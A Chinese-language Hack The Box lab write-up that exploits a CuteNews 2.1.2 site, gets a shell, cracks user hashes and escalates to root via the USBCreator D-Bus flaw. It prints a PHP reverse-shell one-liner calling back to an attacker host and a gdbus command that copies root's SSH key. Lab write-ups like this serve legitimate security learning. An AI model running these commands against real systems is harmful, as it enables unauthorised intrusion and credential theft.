6

hackthebox 我的第一次

 3 years ago
source link: https://mp.weixin.qq.com/s?__biz=MzU1NjgzOTAyMg%3D%3D&%3Bmid=2247489734&%3Bidx=1&%3Bsn=084ad67c7abd6b8f6449ca1a815e87db
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

本文作者: time (Ms08067内网安全小组成员)

time 微信(欢迎骚扰交流):

NVveUjM.jpg!mobile

这是我第一次玩 hackthebox,就找个尽量简单点的,拿到ip先简单扫一扫

q2eUb2.jpg!mobile

那肯定只有80开始点击一看

Er63aeQ.jpg!mobile

当时点了一个,就发现这样的链接(本来想跑目录,结果跑不动就没试了)

http://10.10.10.206/index.php?id=8

让我试了几个单引号,跑了下 sqlmap,然后发现并没有,就尴尬,随后就点这个红色的 RSS

http://10.10.10.206/CuteNews/rss.php

随手删了一下 rss.php 看到登录页面

qEB77vI.jpg!mobile

再注册的时候发现Powered by CuteNews 2.1.2 © 2002–2020 CutePHP. ,这玩意儿肯定有漏洞

MrMru2I.jpg!mobile

重点应该是后面两个,上传没看明白咋改变文件名,就想直接尝试第二个, searchsploit CuteNews 2.1.2 -m 48800下载下来发现直接把url放进去就可以,这都可以?

E3A3EfB.jpg!mobile

发这个生成的shell,不好用就直接找出我小本本里的php反弹shell命令

php -r '$sock=fsockopen("10.10.14.8",4445);exec("/bin/bash -i <&3 >&3 2>&3");'

就到处找了很久,也试过 linux 内核漏洞,就注意到home目录下有两个用户名但没有权限访问

v6jeqyy.jpg!mobile

查看进程发现一下一个引人注目的东西

然后就没了就挺下来想这web应该有些提示密码啥的吧在web目录下找到很久才发现这cdata目录下有东西

A7vm2eY.jpg!mobile

看到users.txt,平时看到别人文章在关键位置都发现users.txt,在看users文件发现都是base64的

VneyUrY.jpg!mobile

一个解密看看,发现有出现这两个用户,但是nadav的密码无法在md5网站解密,就paul 解密出来    atlanta1

3IZJ3ev.jpg!mobile

然后su发现无法成功

em6FveE.jpg!mobile

搜索一下,哦原来这样就可以了

python -c 'import pty; pty.spawn("/bin/sh")'

uM7V7bb.jpg!mobile

然后就去看了paul用户目录下的文件,cat .*/* 直接全部查看

QZV7Nb6.jpg!mobile

看到有这个 ssh 的私钥

ssh 公私密钥:可以生成免密登录,分为公钥和私钥,私钥才是登录密码

ssh -i doc [email protected]

PS:私钥文件必须只能是600,访问权限太高太低都不行,以为这是paul的私钥,没想到试了一下,nadav也可以登录根据找别人文章提示发现

发现USBCreator D-bus有一个接口漏洞,使得攻击者能够访问sudoer组中的用户,从而绕过sudo程序强加的密码安全策略。此漏洞允许攻击者以根用户身份覆盖具有任意内容的任意文件,而无需提供密码。这会导致特权提升,例如,通过覆盖影子文件和为root设置密码。

https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/

gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator--method com.ubuntu.USBCreator.Image /root/.ssh/id_rsa(未授权访问位置) /tmp/ssh(文件存放位置) true

NVVz22.jpg!mobile

利用 root 的私钥,成功登录

zAJJrae.jpg!mobile

总结:web方面进入,细心观察,耐心点,了解了ssh的私钥密钥问题,在拿到地权限,主要收集web站点的信息找突破。信息收集在渗透中尤为重要。

内网小组持续招人,扫描二维码,来一起玩耍!

F3amEvZ.png!mobile

扫描二维码学习各类安全技术,邀请进入内部微信群!

3UZfyuE.png!mobileJr2mIn6.png!mobile

riyQfyz.jpg!mobileiq6ZneA.png!mobile

目前30000+人已关注加入我们

JrqqYnb.gif!mobile


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK